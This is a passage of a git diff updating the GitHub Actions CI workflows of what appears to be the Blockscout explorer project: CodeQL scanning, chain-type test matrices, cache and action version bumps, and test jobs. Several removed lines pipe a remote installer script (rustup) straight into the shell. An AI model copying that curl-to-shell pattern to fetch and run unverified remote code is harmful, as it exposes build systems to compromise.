'ruby', 'rust', 'swift' + # Use `c-cpp` to analyze code written in C, C++ or both + # Use 'java-kotlin' to analyze code written in Java, Kotlin or both + # Use 'javascript-typescript' to analyze code written in JavaScript, TypeScript or both + # To learn more about changing the languages that are analyzed or customizing the build mode for your analysis, + # see https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning. + # If you are analyzing a compiled language, you can modify the 'build-mode' for that language to customize how + # your codebase is analyzed, see https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + # Add any setup steps before running the `github/codeql-action/init` action. + # This includes steps like installing compilers or runtimes (`actions/setup-node` + # or others). This is typically only required for manual builds. + # - name: Setup runtime (example) + # uses: actions/setup-example@v1 + + # Initializes the CodeQL tools for scanning. + - name: Initialize CodeQL + uses: github/codeql-action/init@v3 + with: + languages: ${{ matrix.language }} + build-mode: ${{ matrix.build-mode }} + # If you wish to specify custom queries, you can do so here or in a config file. + # By default, queries listed here will override any specified in a config file. + # Prefix the list here with "+" to use these queries and those in the config file. + + # For more details on CodeQL's query packs, refer to: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs + # queries: security-extended,security-and-quality + + # If the analyze step fails for one of the languages you are analyzing with + # "We were unable to automatically build your code", modify the matrix above + # to set the build mode to "manual" for that language. Then modify this step + # to build your code. + # ℹ️ Command-line programs to run using the OS shell. + # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun + - if: matrix.build-mode == 'manual' + shell: bash + run: | + echo 'If you are using a "manual" build mode for one or more of the' \ + 'languages you are analyzing, replace this with the commands to build' \ + 'your code, for example:' + echo ' make bootstrap' + echo ' make release' + exit 1 + + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@v3 + with: + category: "/language:${{matrix.language}}" diff --git a/.github/workflows/config.yml b/.github/workflows/config.yml index a10966c273b8..7e23d0fa0550 100644 --- a/.github/workflows/config.yml +++ b/.github/workflows/config.yml @@ -4,25 +4,101 @@ on: push: branches: - master + - production-arbitrum + - production-core + - production-eth-sepolia + - production-filecoin + - production-fuse + - production-optimism + - production-immutable + - production-iota + - production-lukso + - production-rsk + - production-sokol + - production-xdai + - production-zkevm + - production-zksync + - staging-l2 + paths-ignore: + - "CHANGELOG.md" + - "**/README.md" + - "docker/*" + - "docker-compose/*" pull_request: + types: [opened, synchronize, reopened, labeled] branches: - master env: MIX_ENV: test - OTP_VERSION: '24.3.4.1' - ELIXIR_VERSION: '1.13.4' + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + ACCOUNT_AUTH0_DOMAIN: "blockscoutcom.us.auth0.com" jobs: + matrix-builder: + name: Build matrix + runs-on: ubuntu-latest + outputs: + matrix: ${{ steps.set-matrix.outputs.matrix }} + steps: + - id: set-matrix + run: | + echo "matrix=$(node -e ' + + // Add/remove CI matrix chain types here + const defaultChainTypes = ["default"]; + + const chainTypes = [ + "arbitrum", + "blackfort", + "celo", + "ethereum", + "filecoin", + "optimism", + "polygon_zkevm", + "rsk", + "scroll", + "shibarium", + "stability", + "zetachain", + "zilliqa", + "zksync", + "neon" + ]; + + const extraChainTypes = []; + + // Chain type matrix we use in master branch + const allChainTypes = [].concat(defaultChainTypes, chainTypes, extraChainTypes); + + const labels = ${{ github.event_name == 'pull_request' && toJson(github.event.pull_request.labels.*.name) || '[]' }}; + const ciLabels = labels.filter(label => label.startsWith("ci:")); + const labeledChainTypes = [].concat( + defaultChainTypes.filter(chainType => ciLabels.includes("ci:" + chainType)), + chainTypes.filter(chainType => ciLabels.includes("ci:all") || ciLabels.includes("ci:" + chainType)), + extraChainTypes.filter(chainType => ciLabels.includes("ci:" + chainType)) + ); + + // Chain type matrix we use in PRs to master branch + const ciChainTypes = labeledChainTypes.length > 0 ? labeledChainTypes : defaultChainTypes; + + const matrix = { "chain-type": ${{ github.event_name == 'pull_request' && 'ciChainTypes' || 'allChainTypes' }} }; + console.log(JSON.stringify(matrix)); + ')" >> $GITHUB_OUTPUT + build-and-cache: name: Build and Cache deps runs-on: ubuntu-latest steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v5 - uses: erlef/setup-beam@v1 with: otp-version: ${{ env.OTP_VERSION }} elixir-version: ${{ env.ELIXIR_VERSION }} + hexpm-mirrors: | + https://builds.hex.pm + https://cdn.jsdelivr.net/hex - name: "ELIXIR_VERSION.lock" run: echo "${ELIXIR_VERSION}" > ELIXIR_VERSION.lock @@ -31,28 +107,27 @@ jobs: run: echo "${OTP_VERSION}" > OTP_VERSION.lock - name: Restore Mix Deps Cache - uses: actions/cache@v2 + uses: actions/cache@v4 id: deps-cache with: - path: | + path: | deps _build - key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash_12-${{ hashFiles('mix.lock') }} + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash-${{ hashFiles('mix.lock') }} restore-keys: | - ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps- + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash- - name: Conditionally build Mix deps cache if: steps.deps-cache.outputs.cache-hit != 'true' run: | mix local.hex --force mix local.rebar --force + mix deps.clean --all mix deps.get - mix deps.compile - cd deps/libsecp256k1 - make + mix deps.compile --skip-umbrella-children - name: Restore Explorer NPM Cache - uses: actions/cache@v2 + uses: actions/cache@v4 id: explorer-npm-cache with: path: apps/explorer/node_modules @@ -66,7 +141,7 @@ jobs: working-directory: apps/explorer - name: Restore Blockscout Web NPM Cache - uses: actions/cache@v2 + uses: actions/cache@v4 id: blockscoutweb-npm-cache with: path: apps/block_scout_web/assets/node_modules @@ -84,22 +159,25 @@ jobs: runs-on: ubuntu-latest needs: build-and-cache steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v5 - uses: erlef/setup-beam@v1 with: otp-version: ${{ env.OTP_VERSION }} elixir-version: ${{ env.ELIXIR_VERSION }} - + hexpm-mirrors: | + https://builds.hex.pm + https://cdn.jsdelivr.net/hex + - name: Restore Mix Deps Cache - uses: actions/cache@v2 + uses: actions/cache/restore@v4 id: deps-cache with: - path: | + path: | deps _build - key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash_12-${{ hashFiles('mix.lock') }} + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash-${{ hashFiles('mix.lock') }} restore-keys: | - ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-" + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash- - run: mix credo @@ -108,111 +186,134 @@ jobs: runs-on: ubuntu-latest needs: build-and-cache steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v5 - uses: erlef/setup-beam@v1 with: otp-version: ${{ env.OTP_VERSION }} elixir-version: ${{ env.ELIXIR_VERSION }} + hexpm-mirrors: | + https://builds.hex.pm + https://cdn.jsdelivr.net/hex - name: Restore Mix Deps Cache - uses: actions/cache@v2 + uses: actions/cache/restore@v4 id: deps-cache with: - path: | + path: | deps _build - key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash_12-${{ hashFiles('mix.lock') }} + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash-${{ hashFiles('mix.lock') }} restore-keys: | - ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-" + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash- - run: mix format --check-formatted + dialyzer: + strategy: + fail-fast: false + matrix: ${{ fromJson(needs.matrix-builder.outputs.matrix) }} name: Dialyzer static analysis runs-on: ubuntu-latest - needs: build-and-cache + needs: + - build-and-cache + - matrix-builder steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v5 - uses: erlef/setup-beam@v1 with: otp-version: ${{ env.OTP_VERSION }} elixir-version: ${{ env.ELIXIR_VERSION }} + hexpm-mirrors: | + https://builds.hex.pm + https://cdn.jsdelivr.net/hex - name: Restore Mix Deps Cache - uses: actions/cache@v2 + uses: actions/cache/restore@v4 id: deps-cache with: - path: | + path: | deps _build - key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash_12-${{ hashFiles('mix.lock') }} + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash-${{ hashFiles('mix.lock') }} restore-keys: | - ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-" + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash- - name: Restore Dialyzer Cache - uses: actions/cache@v2 + uses: actions/cache@v4 id: dialyzer-cache with: path: priv/plts - key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-dialyzer-mixlockhash_14-${{ hashFiles('mix.lock') }} + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-${{ matrix.chain-type }}-dialyzer-mixlockhash-${{ hashFiles('mix.lock') }} restore-keys: | - ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-dialyzer-" + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-${{ matrix.chain-type }}-dialyzer-mixlockhash- - name: Conditionally build Dialyzer Cache if: steps.dialyzer-cache.output.cache-hit != 'true' run: | mkdir -p priv/plts mix dialyzer --plt + env: + CHAIN_TYPE: ${{ matrix.chain-type != 'default' && matrix.chain-type || '' }} - name: Run Dialyzer run: mix dialyzer --halt-exit-status + env: + CHAIN_TYPE: ${{ matrix.chain-type != 'default' && matrix.chain-type || '' }} gettext: name: Missing translation keys check runs-on: ubuntu-latest needs: build-and-cache steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v5 - uses: erlef/setup-beam@v1 with: otp-version: ${{ env.OTP_VERSION }} elixir-version: ${{ env.ELIXIR_VERSION }} + hexpm-mirrors: | + https://builds.hex.pm + https://cdn.jsdelivr.net/hex - name: Restore Mix Deps Cache - uses: actions/cache@v2 + uses: actions/cache/restore@v4 id: deps-cache with: - path: | + path: | deps _build - key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash_12-${{ hashFiles('mix.lock') }} + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash-${{ hashFiles('mix.lock') }} restore-keys: | - ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-" + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash- - run: | mix gettext.extract --merge | tee stdout.txt - ! grep "Wrote " stdout.txt + grep "Wrote priv/gettext/en/LC_MESSAGES/default.po (0 new messages, 0 removed, " stdout.txt working-directory: "apps/block_scout_web" + sobelow: name: Sobelow security analysis runs-on: ubuntu-latest needs: build-and-cache steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v5 - uses: erlef/setup-beam@v1 with: otp-version: ${{ env.OTP_VERSION }} elixir-version: ${{ env.ELIXIR_VERSION }} + hexpm-mirrors: | + https://builds.hex.pm + https://cdn.jsdelivr.net/hex - name: Mix Deps Cache - uses: actions/cache@v2 + uses: actions/cache/restore@v4 id: deps-cache with: - path: | + path: | deps _build - key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash_12-${{ hashFiles('mix.lock') }} + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash-${{ hashFiles('mix.lock') }} restore-keys: | - ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-" + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash- - name: Scan explorer for vulnerabilities run: mix sobelow --config @@ -220,30 +321,83 @@ jobs: - name: Scan block_scout_web for vulnerabilities run: mix sobelow --config working-directory: "apps/block_scout_web" + + cspell: + name: Check spelling + runs-on: ubuntu-latest + needs: build-and-cache + steps: + - uses: actions/checkout@v5 + - uses: erlef/setup-beam@v1 + with: + otp-version: ${{ env.OTP_VERSION }} + elixir-version: ${{ env.ELIXIR_VERSION }} + hexpm-mirrors: | + https://builds.hex.pm + https://cdn.jsdelivr.net/hex + + - name: Mix Deps Cache + uses: actions/cache/restore@v4 + id: deps-cache + with: + path: | + deps + _build + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash-${{ hashFiles('mix.lock') }} + restore-keys: | + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash- + + - name: Restore Explorer NPM Cache + uses: actions/cache@v4 + id: explorer-npm-cache + with: + path: apps/explorer/node_modules + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-explorer-npm-${{ hashFiles('apps/explorer/package-lock.json') }} + restore-keys: | + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-explorer-npm- + + - name: Restore Blockscout Web NPM Cache + uses: actions/cache@v4 + id: blockscoutweb-npm-cache + with: + path: apps/block_scout_web/assets/node_modules + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-blockscoutweb-npm-${{ hashFiles('apps/block_scout_web/assets/package-lock.json') }} + restore-keys: | + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-blockscoutweb-npm- + + - name: Run cspell + uses: streetsidesoftware/cspell-action@v6 + with: + use_cspell_files: true + incremental_files_only: false + eslint: name: ESLint runs-on: ubuntu-latest needs: build-and-cache steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v5 - uses: erlef/setup-beam@v1 with: otp-version: ${{ env.OTP_VERSION }} elixir-version: ${{ env.ELIXIR_VERSION }} + hexpm-mirrors: | + https://builds.hex.pm + https://cdn.jsdelivr.net/hex - name: Mix Deps Cache - uses: actions/cache@v2 + uses: actions/cache/restore@v4 id: deps-cache with: - path: | + path: | deps _build - key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash_12-${{ hashFiles('mix.lock') }} + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash-${{ hashFiles('mix.lock') }} restore-keys: | - ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-" + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash- - name: Restore Explorer NPM Cache - uses: actions/cache@v2 + uses: actions/cache@v4 id: explorer-npm-cache with: path: apps/explorer/node_modules @@ -252,7 +406,7 @@ jobs: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-explorer-npm- - name: Restore Blockscout Web NPM Cache - uses: actions/cache@v2 + uses: actions/cache@v4 id: blockscoutweb-npm-cache with: path: apps/block_scout_web/assets/node_modules @@ -266,30 +420,34 @@ jobs: - run: ./node_modules/.bin/eslint --format=junit --output-file="test/eslint/junit.xml" js/** working-directory: apps/block_scout_web/assets + jest: name: JS Tests runs-on: ubuntu-latest needs: build-and-cache steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v5 - uses: erlef/setup-beam@v1 with: otp-version: ${{ env.OTP_VERSION }} elixir-version: ${{ env.ELIXIR_VERSION }} + hexpm-mirrors: | + https://builds.hex.pm + https://cdn.jsdelivr.net/hex - name: Mix Deps Cache - uses: actions/cache@v2 + uses: actions/cache/restore@v4 id: deps-cache with: - path: | + path: | deps _build - key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash_12-${{ hashFiles('mix.lock') }} + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash-${{ hashFiles('mix.lock') }} restore-keys: | - ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-" + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash- - name: Restore Blockscout Web NPM Cache - uses: actions/cache@v2 + uses: actions/cache@v4 id: blockscoutweb-npm-cache with: path: apps/block_scout_web/assets/node_modules @@ -304,13 +462,46 @@ jobs: - run: ./node_modules/.bin/jest working-directory: apps/block_scout_web/assets - test_parity_mox_ethereum_jsonrpc: - name: EthereumJSONRPC Tests + test_utils: + name: Utils Tests runs-on: ubuntu-latest needs: build-and-cache + steps: + - uses: actions/checkout@v5 + - uses: erlef/setup-beam@v1 + with: + otp-version: ${{ env.OTP_VERSION }} + elixir-version: ${{ env.ELIXIR_VERSION }} + hexpm-mirrors: | + https://builds.hex.pm + https://cdn.jsdelivr.net/hex + + - name: Restore Mix Deps Cache + uses: actions/cache/restore@v4 + id: deps-cache + with: + path: | + deps + _build + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash-${{ hashFiles('mix.lock') }} + restore-keys: | + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash- + + - working-directory: apps/utils + run: mix test + + test_nethermind_mox_ethereum_jsonrpc: + strategy: + fail-fast: false + matrix: ${{ fromJson(needs.matrix-builder.outputs.matrix) }} + name: EthereumJSONRPC Tests + runs-on: ubuntu-latest + needs: + - build-and-cache + - matrix-builder services: postgres: - image: postgres + image: postgres:17 env: # Match apps/explorer/config/test.exs config :explorer, Explorer.Repo, database POSTGRES_DB: explorer_test @@ -328,45 +519,53 @@ jobs: # Maps tcp port 5432 on service container to the host - 5432:5432 steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v5 - uses: erlef/setup-beam@v1 with: otp-version: ${{ env.OTP_VERSION }} elixir-version: ${{ env.ELIXIR_VERSION }} - - run: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y - - run: echo 'export PATH=~/.cargo/bin/:$PATH' >> $GITHUB_ENV + hexpm-mirrors: | + https://builds.hex.pm + https://cdn.jsdelivr.net/hex - name: Mix Deps Cache - uses: actions/cache@v2 + uses: actions/cache/restore@v4 id: deps-cache with: - path: | + path: | deps _build - key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash_12-${{ hashFiles('mix.lock') }} + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash-${{ hashFiles('mix.lock') }} restore-keys: | - ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-" + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash- - run: ./bin/install_chrome_headless.sh - - name: mix test --exclude no_parity + - name: mix test --exclude no_nethermind run: | cd apps/ethereum_jsonrpc mix compile - mix test --no-start --exclude no_parity + mix test --no-start --exclude no_nethermind env: # match POSTGRES_PASSWORD for postgres image below PGPASSWORD: postgres # match POSTGRES_USER for postgres image below PGUSER: postgres - ETHEREUM_JSONRPC_CASE: "EthereumJSONRPC.Case.Parity.Mox" + ETHEREUM_JSONRPC_CASE: "EthereumJSONRPC.Case.Nethermind.Mox" ETHEREUM_JSONRPC_WEB_SOCKET_CASE: "EthereumJSONRPC.WebSocket.Case.Mox" - test_parity_mox_explorer: + CHAIN_TYPE: ${{ matrix.chain-type != 'default' && matrix.chain-type || '' }} + + test_nethermind_mox_explorer: + strategy: + fail-fast: false + matrix: ${{ fromJson(needs.matrix-builder.outputs.matrix) }} name: Explorer Tests runs-on: ubuntu-latest - needs: build-and-cache + needs: + - build-and-cache + - matrix-builder services: postgres: - image: postgres + image: postgres:17 env: # Match apps/explorer/config/test.exs config :explorer, Explorer.Repo, database POSTGRES_DB: explorer_test @@ -384,27 +583,28 @@ jobs: # Maps tcp port 5432 on service container to the host - 5432:5432 steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v5 - uses: erlef/setup-beam@v1 with: otp-version: ${{ env.OTP_VERSION }} elixir-version: ${{ env.ELIXIR_VERSION }} - - run: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y - - run: echo 'export PATH=~/.cargo/bin/:$PATH' >> $GITHUB_ENV + hexpm-mirrors: | + https://builds.hex.pm + https://cdn.jsdelivr.net/hex - name: Mix Deps Cache - uses: actions/cache@v2 + uses: actions/cache/restore@v4 id: deps-cache with: - path: | + path: | deps _build - key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash_12-${{ hashFiles('mix.lock') }} + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash-${{ hashFiles('mix.lock') }} restore-keys: | - ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-" + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash- - name: Restore Explorer NPM Cache - uses: actions/cache@v2 + uses: actions/cache@v4 id: explorer-npm-cache with: path: apps/explorer/node_modules @@ -413,27 +613,35 @@ jobs: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-explorer-npm - run: ./bin/install_chrome_headless.sh - - name: mix test --exclude no_parity + - name: mix test --exclude no_nethermind run: | mix ecto.create --quiet mix ecto.migrate cd apps/explorer mix compile - mix test --no-start --exclude no_parity + mix test --no-start --exclude no_nethermind env: # match POSTGRES_PASSWORD for postgres image below PGPASSWORD: postgres # match POSTGRES_USER for postgres image below PGUSER: postgres - ETHEREUM_JSONRPC_CASE: "EthereumJSONRPC.Case.Parity.Mox" + ETHEREUM_JSONRPC_CASE: "EthereumJSONRPC.Case.Nethermind.Mox" ETHEREUM_JSONRPC_WEB_SOCKET_CASE: "EthereumJSONRPC.WebSocket.Case.Mox" - test_parity_mox_indexer: + CHAIN_TYPE: ${{ matrix.chain-type != 'default' && matrix.chain-type || '' }} + WETH_TOKEN_TRANSFERS_FILTERING_ENABLED: "true" + + test_nethermind_mox_indexer: + strategy: + fail-fast: false + matrix: ${{ fromJson(needs.matrix-builder.outputs.matrix) }} name: Indexer Tests runs-on: ubuntu-latest - needs: build-and-cache + needs: + - build-and-cache + - matrix-builder services: postgres: - image: postgres + image: postgres:17 env: # Match apps/explorer/config/test.exs config :explorer, Explorer.Repo, database POSTGRES_DB: explorer_test @@ -451,50 +659,62 @@ jobs: # Maps tcp port 5432 on service container to the host - 5432:5432 steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v5 - uses: erlef/setup-beam@v1 with: otp-version: ${{ env.OTP_VERSION }} elixir-version: ${{ env.ELIXIR_VERSION }} - - run: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y - - run: echo 'export PATH=~/.cargo/bin/:$PATH' >> $GITHUB_ENV + hexpm-mirrors: | + https://builds.hex.pm + https://cdn.jsdelivr.net/hex - name: Mix Deps Cache - uses: actions/cache@v2 + uses: actions/cache/restore@v4 id: deps-cache with: - path: | + path: | deps _build - key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash_12-${{ hashFiles('mix.lock') }} + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash-${{ hashFiles('mix.lock') }} restore-keys: | - ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-" - + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash- - run: ./bin/install_chrome_headless.sh - - name: mix test --exclude no_parity + - name: mix test --exclude no_nethermind run: | mix ecto.create --quiet mix ecto.migrate cd apps/indexer mix compile - mix test --no-start --exclude no_parity + mix test --no-start --exclude no_nethermind env: # match POSTGRES_PASSWORD for postgres image below PGPASSWORD: postgres # match POSTGRES_USER for postgres image below PGUSER: postgres - ETHEREUM_JSONRPC_CASE: "EthereumJSONRPC.Case.Parity.Mox" + ETHEREUM_JSONRPC_CASE: "EthereumJSONRPC.Case.Nethermind.Mox" ETHEREUM_JSONRPC_WEB_SOCKET_CASE: "EthereumJSONRPC.WebSocket.Case.Mox" + CHAIN_TYPE: ${{ matrix.chain-type != 'default' && matrix.chain-type || '' }} + WETH_TOKEN_TRANSFERS_FILTERING_ENABLED: "true" - test_parity_mox_block_scout_web: + test_nethermind_mox_block_scout_web: + strategy: + fail-fast: false + matrix: ${{ fromJson(needs.matrix-builder.outputs.matrix) }} name: Blockscout Web Tests runs-on: ubuntu-latest - needs: build-and-cache + needs: + - build-and-cache + - matrix-builder services: + redis-db: + image: "redis:alpine" + ports: + - 6379:6379 + postgres: - image: postgres + image: postgres:17 env: # Match apps/explorer/config/test.exs config :explorer, Explorer.Repo, database POSTGRES_DB: explorer_test @@ -512,28 +732,28 @@ jobs: # Maps tcp port 5432 on service container to the host - 5432:5432 steps: - - uses: actions/checkout@v2 + - uses: actions/checkout@v5 - uses: erlef/setup-beam@v1 with: otp-version: ${{ env.OTP_VERSION }} elixir-version: ${{ env.ELIXIR_VERSION }} - - run: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y - - run: echo 'export PATH=~/.cargo/bin/:$PATH' >> $GITHUB_ENV + hexpm-mirrors: | + https://builds.hex.pm + https://cdn.jsdelivr.net/hex - name: Mix Deps Cache - uses: actions/cache@v2 + uses: actions/cache/restore@v4 id: deps-cache with: - path: | + path: | deps _build - key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash_12-${{ hashFiles('mix.lock') }} + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash-${{ hashFiles('mix.lock') }} restore-keys: | - ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-" - + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash- - name: Restore Explorer NPM Cache - uses: actions/cache@v2 + uses: actions/cache@v4 id: explorer-npm-cache with: path: apps/explorer/node_modules @@ -542,7 +762,7 @@ jobs: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-explorer-npm- - name: Restore Blockscout Web NPM Cache - uses: actions/cache@v2 + uses: actions/cache@v4 id: blockscoutweb-npm-cache with: path: apps/block_scout_web/assets/node_modules @@ -556,19 +776,26 @@ jobs: - run: ./bin/install_chrome_headless.sh - - name: mix test --exclude no_parity + - name: mix test --exclude no_nethermind run: | mix ecto.create --quiet mix ecto.migrate cd apps/block_scout_web mix compile - mix test --no-start --exclude no_parity + 